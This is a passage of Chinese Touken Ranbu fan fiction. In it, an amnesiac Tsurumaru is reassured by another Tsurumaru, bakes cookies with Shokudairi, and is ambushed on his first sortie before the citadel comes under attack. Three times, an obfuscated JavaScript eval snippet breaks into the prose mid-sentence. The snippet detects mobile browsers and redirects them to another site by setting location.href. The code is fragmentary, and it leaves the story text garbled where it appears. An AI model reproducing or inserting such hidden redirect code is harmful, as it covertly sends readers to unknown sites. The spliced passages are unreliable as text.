“抱歉抱歉,你这幅样子实在太有意思了,我忍不住。”鹤丸国永一个翻身,顺势就坐在了鹤丸旁边,把金鱼悬在鹤丸面前。“忘记了?这是你昨天落在万屋的,你这样的话,被遗忘的金鱼可是会伤心了啊。” ……金鱼有什么好伤心的。鹤丸努力控制住自己想吐槽的嘴,伸出手接过了金鱼,悄悄地说了一声。 “谢谢。” 鹤丸国永托着腮,歪头仔细端详着鹤丸。 总觉得这句话已经说了很多遍了,但果然还是会感到意外啊…… “我”竟然也会露出这幅样子吗? 鹤丸感受到身旁传来的视线,感觉自己的身体都僵了。 ……还没看完吗? 到底是谁把这个鹤放进来的啊。 “光坊他们很担心你哦。” 鹤丸没给出回应。 “……” “抬头。”好强势的语气。 ……鹤丸国永是这个人设吗。 说实话,他觉得自己自从穿越以来,遇到的每一个刃都和先前了解的性格有所不同,也不知道究竟是他先前的了解实在太少,还是不同本丸之间的差异。 鹤丸对这种强势的语气感到有些不适,但出于对鹤丸国永的信任,他还是听话地抬起了头。 然而却听到了一句意料之外的话。 “这不是也挺不错的嘛。” 12. 被禁锢自由的鹤丸国永 “这不是也挺不错的嘛?” …… 鹤丸国永以一种无比强势的姿态和气势贴近,耀人的金色眼睛几乎快要与鹤丸的眉眼相贴。 鹤丸仅仅靠在身后的墙上,再没有哪怕一毫的退路,只能直面向鹤丸国永,然后在那双眼睛的倒影里看见属于自己的那一抹红色。 ……这是在干什么? 像是看出了他的疑惑,鹤丸国永缓缓地抬起手,对着他的眼睛指了指。 “这个,很漂亮哦?” “有些不同也没什么不好嘛,也不是每一个鹤都要一模一样啊,如果真的要一模一样……那审神者都只能用批发的克隆人了吧?”说着鹤丸国永似乎把自己都快要逗笑了。 “你不觉得吗?这可是你独一无二的证明。” “……”鹤丸只是静静地盯着鹤丸国永,并没有接话的意思。 到此,鹤丸国永脸上的笑终于有点挂不住了,只能无可奈何地一摊手。 “看来我还是不擅长谈心这种事啊,还是交给三日月来才比较好吧?下次一定不胡乱接活了。”鹤丸国永站起身,拍了拍衣服上并不存在的灰。“不过现在既然已经决定负责了,就暂时不能放弃了啊。” 面前的鹤摆出一副看似苦恼的样子,可鹤丸从他眼底的笑意分明看得出来,这不过是鹤丸国永不痛不痒的小玩笑。 “好好听我说吧?” “光坊是绝对不会带可疑的陌生人回本丸的。”鹤丸国永直接伸出手揉了揉鹤丸的头,成功收获了呆滞的小红鹤×1。 “即使是再关心则乱,光坊也有他自己的判断方式,绝对不会把一个无法确定的危险因素带回本丸,毕竟本丸里还有他所珍视的主君和同伴。” “如果你没办法相信光坊的判断,那么我呢?我可是不会认错自己的啊。即使有些许不同也没关系,这是你作为自己存在的证明,是你,作为鹤丸国永存在而留下的痕迹。” “所以你啊,从一开始就是毋庸置疑的鹤丸国永。” ……其实鹤丸觉得自己的脑子已经彻底成了一团浆糊。 说实话,他确实被鹤丸国永的这一番剖白打动了,但他完全不知道自己该做出什么样的反应,能给鹤丸国永怎么样的合理的回应,迷茫和彷徨像黏腻的菌子爬过了他的整个内心。 ……他是鹤丸国永? 即使鹤丸国永这么说,可没人比他更清楚,他的记忆分明清清楚楚地摆在那,不容置疑地替他否认了这个可能性。 如果他是能被本刃承认的存在,那么属于“coser”的那些模糊记忆又是什么? 鹤丸国永看着依旧呆滞的鹤丸,还是深深地叹了口气。 哪怕料到了这小家伙难搞,但也完全没想到难搞到这个地步啊,饶是他也有些不知所措了。 “既然实在想不通,不如就先忘记这件事吧,至少先填饱肚子怎么样?天大地大不如吃饭最大,怎么样?” 鹤丸国永边说边把轻轻地把鹤丸从地上拽起来。 …… 没拉动。 这只鹤难道是块密度超大的石头吗?还是已经彻底和地板粘在一起了啊? 鹤丸国永不可置信地再次试图使力。 鹤丸终于从恍惚的世界中醒过来,顺从地顺着鹤丸国永的力气站起身,被拽着手腕拉向了部屋的门口。 鹤丸每一步都走得犹豫,像是前方有什么看不见的令他恐惧的东西。 他紧紧盯着自己和鹤丸国永相牵的手腕和袖口,一次又一次地又把自己想要说出口的话压回心中。 最后三米。 两米…… 鹤丸国永忽然停下了脚步,回头无奈地笑着看向鹤丸。 “还没想好要说什么吗?” “……” 鹤丸撇开头回避掉鹤丸国永的视线。 “即使我,根本不认为自己是鹤丸国永?” “啊,即使是这样。” …… “鹤先生!”烛台切光忠和太鼓钟贞宗惊喜地看向前后脚踏出门外的身影,连大俱利伽罗也肉眼可见地眼前一亮。 鹤丸条件反射般往鹤丸国永身后缩了缩,试图让鹤丸国永把他牢牢地挡在身后,鹤丸国永反手将这只鹌鹑从背后揪出来,一把摁在了几刃面前。 “来,要好好告诉他们什么?” 鹤丸:…… “嗯?”鹤丸国永,你要崩刃设了。 “那个。” “那个?”太鼓钟贞宗疑惑地跟着复读。 “……我回来了。” “……”出乎意料的没人接话,沉默的氛围蔓延开来,鹤丸有些不安,他忐忑地把头垂的更低了些,如果不是刃体结构不允许,他几乎都快要把脸埋进自己的胸膛。 鹤丸不敢抬头直面在场众人的反应,又想缩回鹤丸国永的身后。 这算什么情况啊,为什么没人说句话? 就在他轻轻挪动脚尖时,一只手打破了窒息的沉默,突然搭在了鹤丸的头上,轻轻揉了揉。 “欢迎回来,鹤先生。” …… 鹤丸看着烛台切光忠的背影忍不住思考起一个问题。 为什么这群刃都这么喜欢揉他的头? 虽然他确实没有记忆,在阅历上的确能被这群刀子精能被看做是小辈中的小辈,但他现在好歹还是鹤丸国永的外貌,这样真的合适吗?鹤丸国永也完全不介意吗? 他没把疑惑问出声,因为如果问这种问题,会显得他很像介意长不高的小孩子。 鹤丸国永趁其不备,一把揽住鹤丸的肩,把鹤丸都带着往前翻了一个趔趄,鹤丸有些无语地侧过头看着这只有些幼稚的鹤。 “都快到厨房了,还没想好要吃点什么啊?”鹤丸国永朝着前方的烛台切光忠挤了挤眼睛。“光坊都要等急了——” 烛台切光忠心领神会地配合起来,顺势点了点头。可烛台切光忠做的东西还有什么可挑剔的啊?无论做什么都不会难吃吧。 “……我都喜欢。”鹤丸小声地嘟囔着。 “嗯?”鹤丸国永歪过头,把耳朵凑近到鹤丸面前。“什么?” 别把他当傻子啊,在前面的烛台切光忠也就算了,就在旁边的鹤丸国永和身为短刀的太鼓钟贞宗,怎么可能连这句话都没听到。鹤丸挺想把这句话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685792|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口的,但在鹤丸带着笑意的眼神攻势下还是宣告了投降。 “我说!我……都喜欢。”鹤丸红着脸回复。 “只要是光坊做的,我都很喜欢。” 鹤丸国永一声欢呼,对着烛台切光忠招手,迫不及待地大声喊了出来。 “光坊——你听到了吗——”鹤丸国永把双手卷成筒放在嘴前。“他说——你做的都喜欢哦——” 喂,这个距离明明连五米都不到吧,为什么要喊得这么大声?鹤丸无奈地在心中吐槽。 “放心吧!一定会做出让鹤先生满意的料理的!”斗志满满了呢。 在暗处藏着的小短刀们听到这个动静,终于放心地接连冒出头,小跑到几刃身边围成一圈。 “要做什么呀?” “我也想要!” “烛台切殿要做什么?” “好期待哦!” “好了,你们几个,都安静一点。”一看就是来主持局面的药研藤四郎发话了。 药研藤四郎有些不好意思,又带着些欣慰地看向鹤丸。 “抱歉,但大家都很担心你。” “……我知道的,谢谢。” “鹤丸先生!!你终于好起来了啊,真是吓了我一跳!”乱藤四郎冒出头,挤开了身边的众刃,站到了鹤丸身边。 鹤丸有些心虚,他完全忘了当时乱藤四郎和五虎退还在门口了,他自己已经完全没有当时的记忆了,也不知道当时的状态有没有吓到乱藤四郎和五虎退。 这么想着,鹤丸也就问出了声。 “没有哦,鹤丸先生当时很正常,放心吧,当时小退在旁边的糖果店里呢!”乱藤四郎毫不犹豫地回答。“不过重点不是这个吧?” “鹤丸先生回来之后就一直那么低沉,大家真的很担心呢……” “抱歉。” 乱藤四郎摇摇头,拒绝了鹤丸的道歉。 “不是这个意思哦,我只是想说,鹤丸先生能好起来真是太好了!”真是好耀眼的微笑。 …… “我要回去了哦?”鹤丸国永站在本丸门口,对转过身再次面对鹤丸,神色温柔的和先前强势的样子判若两人。 “虽然我还会经常来的,不过这种桥段的时候果然还是想问啊,你有没有什么想对我说的?” 鹤丸被这个问题问得愣了一下。 他知道鹤丸国永真正想问的是什么。 说实话,即使到现在他也并不认为自己是鹤丸国永。 但是,鹤丸国永已经肯定了他的身份,既然是鹤丸国永这么说的。 鹤丸有些出神地看着鹤丸国永。 那么,相信你应该也没关系吧?……毕竟说出那种话的是你,是你认可了我的存在。 既然得到了正主的肯定,那就不能怪我的欺骗了啊。 “我明白了。”鹤丸国永终于放下心,叉起腰笑了笑,招着手转向门大步离开。 “回去吧?” “他们可一直在等你哦。” …… 鹤丸回头看向不远处笑着等待的几刃。 “嗯。” 我回来了。 13. 被禁锢自由的鹤丸国永 鹤丸碰到了个世纪难题。 他本来想自己做点什么好吃的来向伊达组和短刀们表达感谢,出于一种隐秘的想“一鸣惊人”的想法,他没有向烛台切光忠请求教导,而是直接自己通过终端查询教程。 反正向哪个烛台切光忠请教都是一样的吧?发布教程的烛台切光忠不也是光坊嘛。 天真的鹤丸以为照着搜来的教程就绝对能万无一失,毫无防备地打开了新世界的大门,却完全忽略了一件事——不是每个人都有天生的极品饭灵根的。 于是鹤丸只能欲言又止地,与一盘完全焦成了碳块的曲奇面面相觑。 ……明明是按照其他烛台切光忠发的教程做的,为什么会这样啊? 鹤丸颤抖着手,迟疑地抠起一块死死粘在烤盘上的饼干,以一种视死如归的心态猛地塞进嘴里。 …… 烛台切光忠进门时发出了一声惨绝人寰的尖叫。 地上躺着一只浮着中伤标签的鹤丸,面前洒落了一地的……这什么玩意认不出来啊??? 烛台切光忠发誓,他刃生从未爆发过如此等级的机动值,一把就捞起了在地上躺尸的鹤丸冲进了修复室,生怕再慢一步这只脆皮鹤就把自己玩死了,直到把鹤丸丢进修复池里才松了口气。 悠悠转醒的鹤丸看着近在咫尺的烛台切光忠,迟钝地脑子开始转动起来,终于回忆起他先前在做什么,结合当前场景不免有些沉默,心虚地躲过了烛台切光忠的视线。 “鹤先生。醒了就别装了。”烛台切光忠一把按住鹤丸的头顶,把那颗毛茸茸的白色脑袋正面转向了自己。 “说说吧,这个是什么?”烛台切光忠手里捏着一块略显诡异的黑色不明物体,用一言难尽的语气勉强地问出这个问题,不难看出他已经思考很久了,但始终没能破解这个世纪难题。 鹤丸真有些不服气了,就算他承认味道的确不那么尽人意……好吧,就算的确是很不尽人意,但也不至于到是什么都看不出来的程度吧? 他也顾不上什么心虚不心虚的了,直接在修复池里猛翻两个身,趴到烛台切光忠面前试图为自己的曲奇进行辩护。 然后鹤丸也看着这个不明物体再次陷入沉默。 抱歉,曲奇,他死去的心虚好像突然又活过来了。 “……所以这到底是什么?”烛台切光忠继续追问,想必他想破脑袋都不知道烤箱里怎么能冒出这种东西来。 鹤丸思考了一会能不能把这件事蒙混过关,毕竟他还想留着好好当做惊喜,好吧,最重要的是这实在有点丢脸了。 ……不应该啊?别的鹤不都是整蛊道具随便做的吗,难道他技能点点歪了?还是兴趣使人泵发无限潜力? “曲奇。”鹤丸小声地回答。 “……什么?”烛台切光忠听着这个答案,不可置信地重新问了一遍。 “咳。”鹤丸以为烛台切光忠方才是没听清自己说的话,抬高音量又回答了一遍。“这是曲奇。” 烛台切光忠看向自己手中又黑又硬,一边掉渣一边能砸晕一个鹤丸的曲奇,终于无话可说了。 他本来以为先前听闻鹤丸国永爆破厨房的事迹,只不过是各位审神者出于好玩创造出的玩笑,没想到竟然是实时记录吗? “不,这个绝对只是个玩笑吧?”鹤丸睁着死鱼眼看向烛台切光忠。 不要在思考的时候把心里话说出来啊?而且联想到这个也太离谱了吧,无论怎么看那都不可能是真事啊,就算是付丧神也不可能扛得住贴脸爆炸吧?! 然后就看到了烛台切光忠脸上没忍住的笑意。 ……搞什么啊,原来是故意的! “鹤先生想吃曲奇吗?如果是这样的话,下次直接告诉我就好了,还是别再做这么危险的事了。”烛台切光忠收了收脸上的笑,有些好奇地开口。 只不过是做曲奇而已,怎么会被说成是危险的事啊?鹤丸本来想这么吐槽,话到嘴边又一眼扫过烛台切光忠手中的不明物体,悻悻地闭了嘴。 不过确实把他问住了。 这个要怎么回复才好?要是说实话的话,之后再送给烛台切光忠就没有惊喜感了,可要是就这么直接应下来,就得彻底失去厨房使用权了。 鹤丸越想越心焦,只觉得脑袋上都要冒出过载的白烟了。 烛台切光忠看着费劲寻找借口的鹤丸,终于看不下去了,决定放弃为难这只疯狂转动脑筋的鹤,先一步开口帮鹤丸解决了这个难题。 “不想说的话也没关系,不过下次请务必让我来一起帮忙,否则那样子也是不能吃的吧?” 鹤丸眼前一亮,忙不迭点了点头应下。 正中下怀,你简直是天使啊,光坊! …… 一阵闹哄哄的午饭后,鹤丸留下和烛台切光忠一起收拾厨房,本来是歌仙兼定会负责这个岗位,不过显然现在被鹤丸暂时接替了。 科技先进了就是好啊,碗盘都可以直接丢进洗碗机里洗干净了,他只需要跟着擦擦案台收拾一下厨具就好,否则本丸刃口那么多,纯手洗还真不知道要收拾到几辈子之后去。 烛台切光忠干脆利落地收拾完了需要用到的东西,随后一把将面粉袋甩到了桌子上,把袖子撸上小臂,招呼鹤丸站到案板前。 …… “这样就好了?”鹤丸端详着面前的面团。 说真的,他没看出来和之前他自己做的那份有什么区别,不过他看不出来应该也正常,要是看得出来,现在也就不用烛台切光忠来教了。 烛台切光忠在一旁洗着手,伴随着水声回应鹤丸的问题。 “啊,这样就好了,不过还需要做点造型才行吧?之后的话,我来放进烤箱就好,鹤先生要自己调温度吗?”鹤丸点点头。 虽然他其实没觉得谁来调温度有什么区别,但烛台切光忠明显是希望他有参与感,既然如此,他也就顺势享受这份好意了,还真是贴心啊,光坊。 烛台切光忠递过一套曲奇模具给鹤丸。 喔!都很可爱呢,很多意料之外的造型啊。 “因为平时都是粟田口的短刀们会用这些。”这倒是能猜到。 不过说起来光坊是怎么每次都猜到他在想什么的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685793|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总觉得他和烛台切光忠相处的时候都不用怎么说话了。 “因为鹤先生的表情很明显哦。”……表情藏不住想法还真是抱歉啊! “应该是一期一振经常会来做吧?”烛台切光忠点点头,鹤丸忍不住感叹。“一期一振已经完全变成人夫了啊,不愧是一家之主。” “诶,人夫?” “啊。”糟糕,好像说了什么不该说的话。 他决定当做无事发生,装傻,装傻就对了。 鹤丸紧张地扭动起烤箱的温度旋转钮,烛台切光忠在一旁看得忍不住有些想笑。 “不用这么小心哦,有一点误差也是不碍事的,之后也可以再调回来。”鹤丸专注的思绪被打断,用幽怨的眼神看向烛台切光忠。 “……咳。”烛台切光忠移开目光。“抱歉,鹤先生,请继续。” 糟糕,这样的鹤先生有点太可爱了,哪怕清楚地知道面前的是鹤先生,他的父爱之心还是无法自拔地熊熊燃烧起来了。 鹤丸看着烛台切光忠。 ……燃起来了。 这家伙绝对在想奇怪的东西。 …… “要准备包装袋吗?” “?” “诶?我猜错了吗,鹤先生不是要当成礼物送人的吗?”烛台切光忠有些意外。 不,没猜错,应该说猜的有些太准了。鹤丸忍不住暗暗吐槽。说起来烛台切光忠刚刚拿的模具,也是粟田口家的短刀们经常用的。 已经猜到这个地步了的话,该不会也已经猜到这里面会有他的一份了吧? 鹤丸仔细观察烛台切光忠的表情,好像要在他脸上盯出个洞,虽然鹤丸其实只是好奇烛台切光忠到底猜到了多少。 烛台切光忠被鹤丸盯得有些不自在,脸上的表情越来越僵。他觉得自己脸上都快要被鹤丸盯出个窟窿了,但显然面前的刃还依旧没有移开视线的打算。 “……鹤先生?”鹤丸无动于衷。 喂,不要假装听不见啊。 忍无可忍的烛台切光忠提起了鹤丸的衣领,将这只开始暴露本性的鹤丢出了一把厨房的领地。 虽然他很希望鹤先生的状态能好一点,但至少现在,请允许他暂时把这个本性苏醒的混世魔王丢出去。 “鹤先生先自己出去玩一会吧?我要稍微准备一下晚上要用到的肉了。 啊,还有,本丸里的包装纸暂时用完了,不过我下次去万屋会记得买回来的。” 大概是担心鹤丸会不放心,也可能只是烛台切光忠此刃比较贴心,他又从门后探出头对着鹤丸补充起来。 “请放心,曲奇不会坏的,可以存放很久。”接着无情地一把拉上了门。 “……” 鹤丸看着又一次被关上的门,多少感到有些新奇。 还是第一次见到光坊这幅样子啊,原来他害羞起来这么有意思。 鹤丸站在厨房门口似乎若有所思。 如果烛台切光忠知道鹤丸现在的心理活动,一定会忍不住感叹一句: “不,请务必不要发出这种感想。” 14. 被禁锢自由的鹤丸国永 “诶?出阵?”鹤丸有些意外地伸手指向自己。“我吗?” 虽说他倒也不怕上阵打架,毕竟左右也就是受点伤,他作为刀剑付丧神怎么会担心这种小事,出阵结束后回来再修复就是了。再者,以地葵的品性,说不好都等不到受伤的时候,最多也不过是轻伤,队伍就被直接召回了。 因此,他其实也从没想过逃避出阵,只是最近的生活实在太平淡安逸,他都忘了迟早要面对这件事。 另一方面,其实他也多少还有点顾虑,以他现在的水平,真的有能力随队出阵吗? 的确,烛台切光忠从前几日之后就一直在帮他训练,可不过短短几天,就是他天赋再高学得再快,又哪能练出个什么名堂,他唯一的变化恐怕就是切菜切的更快了点吧? 烛台切光忠看出了鹤丸的顾虑,上前轻轻一拍。 “鹤先生这几天的进步我再清楚不过了,请不要妄自菲薄,多少相信自己一点吧?” ……的确,你说的话很有道理,但鹤丸有几斤几两他自己再清楚不过了。 鹤丸虽然依旧担忧,但还是认命地接下了这个安排,毕竟一直在别人本丸里游手好闲也不是个事,出去锻炼一下也好,随即又燃起了些好奇心。 “但我和审神者大人还没链接契约吧?也能通过你们本丸出阵吗?” 烛台切光忠有些诧异地看向鹤丸,随即大概是又想起来眼前的鹤记忆尽失,不出意外是连这件事也忘记了,又无比自然地解释起来。 “时空转换器的传送目标是以范围圈定的,不是以契约为条件,所以到时候可不要离我们太远啊。” 鹤丸了然,点点头。 怪不得刀剑男士撤退时前都要先远离时间溯行军,这就说得通了,原来是会把溯行军也一起带回本丸吗? 不过本丸里全是刃,实在打不过的话就那么带着时间溯行军回本丸也没关系吧,强行撤退不才更容易出意外。 想到这里,鹤丸看了看烛台切光忠。自己能想到的事,这群成精的刀子没理由想不到吧。 也就是说,虽然道理的确是那样,但就这群刀子精来说,恐怕甘愿自己碎在外面,也不愿意把危险带回本丸吧。 鹤丸愈发意识到,烛台切光忠当初把他带回来的决定有多在意他了。 “我知道了,审神者大人有说是什么时候的安排吗?”他得趁这几天再多训练一下才行,他可不想在真刀真枪的地方拖别人后腿。 哪怕是临时抱佛脚,也总好过什么都不做。 烛台切光忠似笑非笑地,不知道从哪里拿出一套出阵服递给了鹤丸。 “现在,准备出发吧,鹤先生。” 鹤丸:…… 这么赶?出阵的时间没几分钟了吧? 鹤丸迟疑的瞥了一眼烛台切光忠,只看到了烛台切光忠脸上依旧纹丝不动的笑容。 好吧,他认命了。 鹤丸发誓,他绝对是以此生最快的速度换好了出阵服。 烛台切光忠把鹤丸的本体刀从身后拿出,鹤丸看也不看地直接接过,一把扯开部屋门,拽住烛台切光忠的手就冲向了集合点。 烛台切光忠只能在鹤丸身后磕磕绊绊地勉强跟上,好几次好险没摔在地上,好不容易到了目的地,用他付丧神的超强运动神经和体魄才勉强站稳。 鹤丸回过头看向身后,刚想开口询问今天的出阵人员,就发现身后的烛台切光忠糟糕的离谱,哪里还看得出原样,风已经把他帅气的发型彻底毁掉了。 “……” “……” 烛台切光忠和鹤丸面面相觑。 “对不起。”鹤丸毫不犹豫选择了低头滑跪。 烛台切光忠能说什么呢?烛台切光忠只能无可奈何地叹了口气,从口袋里掏出了一把小梳子,大概地整理了一下发型,推着鹤丸进了集合点。 还能怎么办,自己家的鹤,还能揍不成。 “本来想告诉你不用着急的,今天的出阵队伍已经出发了,我们是另外的队伍,没想到你动作这么快。”烛台切光忠拉开门,探头张望了一下,随后招呼鹤丸跟上。 鹤丸听话地跟在烛台切光忠身后进门,与烛台切光忠刚刚进门不同,他只是刚刚探头,头顶就传来了一声出乎意料的大喊。 “哇!哈哈哈!”鹤丸被猛地吓了一激灵,刚想昂起头想看看这是哪个调皮的家伙,对方就已经先一步跳了下来,站定到鹤丸面前。 ……是今剑啊。 今剑跳脱地在鹤丸身边蹦了两下,迫不及待地开口。 “怎么样?是惊喜哦。”今剑拍了拍胸口,鹤丸觉得自己好像看见了今剑身旁漂浮的星星。“被吓了一跳吧!” “总觉得有点耳熟啊。”鹤丸有些好笑地吐槽。 可不耳熟吗,被抢台词了啊。 一只纤细的手突然横在今剑和鹤丸之间,鹤丸顺着手伸来的方向看过去,是表情俏皮的加州清光,和他身边老实站着的大和守安定,最后是—— ……不知道从哪里掏出了茶桌,并在集合点附近开始品茶的三日月宗近? 说起来他到现在都没怎么和三日月宗近接触过啊,也不知道是没有机会,还是三日月宗近觉得鹤丸国永不需要“月下谈心”。虽然他也确实不大需要这种事,但这样他总有种同人白看了的新奇感。 “别看啦。”加州清光举起手在鹤丸眼前晃了晃,转头询问烛台切光忠。“你们两个怎么这么匆忙?……尤其是烛台切先生,这个发型是怎么回事啊,你没告诉他不用着急吗?” 鹤丸听到这个问题有些不好意思,一旁的烛台切光忠则是无奈扶额。 完全没来得及说。 “嘛,总之,这次的队伍成员就是这样了呢,以及,我是这个队伍的队长哦!”加州清光挺有些小骄傲。 “清光又开始了。”大和守不安定又开始拆台了。 “已经集齐了呢,那出发吧。”三日月宗近慢悠悠地整理了一下衣摆,拍了拍身上的灰,几步走到众刃面前。 加州清光叉起腰身子一歪,面上无奈地调侃起来。 “也太懒散了吧?身子都要僵了哦。” “哈哈哈,毕竟是老人家了呢,多谢提醒,队长。”三日月宗近轻轻地回复。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685794|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喂。” 加州清光启动起时空转换器,降落在了不大显眼的密林中,还没来得及好好站稳,下一刻就直接反手抽出刀拦下了另一振刀光。 “这次的这些家伙也太心急了吧?”加州清光一边回击一边勉还能抽出空吐槽。 大和守安定不甘落后,立刻冲上前架住了第二振敌刀,气势和平时在本丸的样子截然不同,饶是早就听闻“不安定大魔王”风评的鹤丸也有些意外。 “可不能只让清光出风头啊!” “你这家伙!” “也该到我出场了!” “老爷爷可不能落后啊。” 烛台切光忠视线向鹤丸递了个眼神,立刻得到了鹤丸回来的肯定。 “鹤先生,我们也要上了哦?” “啊,放心吧!”鹤丸自觉地拦下了一振距离战场最远的敌刀,保证他的半吊子刀术不会给同伴添乱。 …… “结束!”加州清光擦了擦自己头上不存在的汗。 大概是为鹤丸着想……或者说本就是为鹤丸准备了这次出阵,总之出阵难度并不高,哪怕是鹤丸这样毫无经验的刃,稍微费点功夫也能独自解决一振敌刀。 其他刃早早就已经解决了其他的时间溯行军,看着鹤丸和敌刀在不远处纠缠。 以他们的经验,自然看得出来鹤丸与对面的敌刀交手时并不落下风,因此也并不担心,默默空出了场地好留给鹤丸体验他的“第一次”战斗。 就在这时鹤丸背后靠近的森林发出骚动,距离最近的树后跳出了一名时间溯行军,提起刀就直直向着鹤丸砍去。 这家伙一看就不应该是现在的战场难度里会出现的,虽然不知道为什么会在这里,但如果真的就让他这么砍中毫无防备的鹤丸——绝对会碎刀的! 偏偏他们刚刚为了给鹤丸留下发挥的空间,现在的距离并不算小,哪怕是机动最快的今剑都没办法立刻赶到鹤丸身边。 这一切发生的太过突然,在场所有人都毫无心理准备。烛台切光忠瞳孔骤缩,只觉得自己的心都要跳出来了,那是比真正的受伤要更痛却难以言喻的感觉,微妙而刺痛。 鹤先生才刚刚从那个恶心的人渣手里,从那个地狱一样的地方逃出来,好不容易才慢慢有了一些以前的样子,才得到了一点点短暂的幸福。 ……难道就要这样,这么草率地让他们失去鹤先生了吗?! 如果,如果是还留有记忆的鹤先生,也许还接得下这一刀,可烛台切光忠也清楚,这只可能是一种奢望。 世界仿佛都在他眼前放出了慢动作,故意让他亲眼看着刀尖一点一点地接近鹤丸,可偏偏他无能为力。 烛台切光忠明显感觉到有股热流冲上了眼睛,模糊了他的视线,可他却连擦一下的时间都没有,只能努力瞪大双眼,眼睁睁看着这一幕的发生。 …… 最后一击! 鹤丸抓住机会,眼神一凛,终于能送这个面前难缠的家伙上路,却听到不远处的几刃惊慌的喊声。 “鹤先生!” ……发生什么了? 15.被禁锢自由的鹤丸国永 “右边。” 像是本能一般,鹤丸下意识地跟着这道声音去行动,强行将手中极速落下的的刀方向扭转转至右边。 一道刺耳的刀剑碰撞的锐鸣声响起,鹤丸被强大的冲力接连逼退两三步。 在极大的强度差距下,鹤丸可以说是瞬间就陷入了中伤状态,其他地方他自己暂且看不见,至少手部已经开始渗血。 ……这家伙是哪冒出来的。 鹤丸皱了皱眉,不太能理解现在的情况,但也意识到这绝不是他所能应付的,下意识地看向烛台切光忠的方向寻求帮助。 就在他回头的那一刻,还没来得及看清,就已经被一道模糊的人影拽着离开了危险的范围。 “鹤丸殿!你还好吗?”是今剑啊……倒也合理,也就只有短刀才有这样的速度了。 “没事!”鹤丸匆匆应了一句,又赶忙回望像时间溯行军的方向。 无论是他最开始对上的,还是刚刚突然冒出来偷袭的敌刀,都已经被几刃砍了个干净。 烛台切光忠注意到鹤丸的视线,三步并作两步地赶到鹤丸面前,紧张地查看起鹤丸身上的伤。 就在他查看的功夫里,鹤丸敏锐地注意到烛台切光忠的眼眶红了。 “……光坊?”鹤丸有些迟疑地忍不住开口。“你哭了?” “……啊,抱歉,被鹤先生看出来了,真是不帅气啊。”烛台切光忠的声音闷闷的,但依旧不难听出其中的颤抖。 鹤丸多少有些被颤动了,虽然被敌刀偷袭怎么说也不能是他的错,但看到烛台切光忠这幅样子,还是控制不住地感到愧疚。 烛台切光忠快速整理好情绪,和一脸严肃的加州清光对上视线,两刃相视点了点头。 “鹤丸先生的伤已经很严重了,这次出阵就先中断吧,各位,往我这边靠近一点,我们回本丸。” 鹤丸并无异议,他也不打算继续留在这逞强给其他人带来麻烦,顺从地在烛台切光忠的搀扶下回到了本丸。 “欢迎回——”太鼓钟贞宗看到时空转换器出现几道人影,几乎是迫不及待地喊出声,却在下一刻戛然而止。“……诶?” “鹤先生?!” 大俱利伽罗快步越过太鼓钟贞宗,接过了靠在烛台切光忠身上的鹤丸,对烛台切光忠点了点头。 “小贞,伽罗,鹤先生就先拜托你们了,我先去找主人说明情况。”烛台切光忠依旧担忧,但还是将鹤丸交给了信任的同伴,快速向天守阁走去。 加州清光向大和守安定点点头,赶紧跟上了烛台切光忠。 大俱利伽罗也并不废话,一把捞起已经神志不清的鹤丸,冲向了修复室。 …… 加州清光表情异常凝重。 “那个战场是最近刚刚被官方排查过的,排查后还进行了例行加固,不可能被突然闯入。”地葵听出了加州清光的言外之意。 这次出阵的战场是他们为鹤丸精心挑选的,无论是稳定程度还是难度,都可以保证鹤丸的绝对安全,就算是给天捅破了,冒出来的也只会是检非违使,而不是时间溯行军。 时政的手段毋庸置疑,否则也无法和时间溯行军周旋这么久,能破开时政的加固,只能说明幕后黑手绝对也出自时政,并且还绝对是地位不低的成员,结合先前的猜测,他背后必然还有家族撑腰。 不知道是对方是最近才发现鹤丸,还是早已筹备这次的偷袭,无论如何现在鹤丸的处境都变得极其危险。 惹到了大麻烦啊。 “最近还是先别让鹤丸先生出阵了,这样的“意外”,之后恐怕不会少。”加州清光皱着眉。 “主人。”烛台切光忠似乎突然想到了什么恐怖的事情,眼眶猛地瞪大,急切地打断了地葵的思绪。 “先等等!最重要的是,背后那家伙既然已经清楚了鹤先生的存在,并且这么急切地想采取行动。” “那么,我们的本丸也许……也并不安全了。” 随着烛台切光忠的话音落下,本丸的结界刚好破碎,从时空转换器的方向传来了巨大的爆炸声响。 加州清光猛地站起身,毫不犹豫地护在地葵身前,门外的压切长谷部也立刻推门而入,急切地询问起地葵的安危。 地葵来不及回答压切长谷部,小跑到天守阁窗前,担忧地看向窗外的景象。 本丸的刀剑们正从各个方向赶往时空转换器。 她倒是不担心自己的安全,出于她的背景考虑,无论如何对方也不会伤及她。 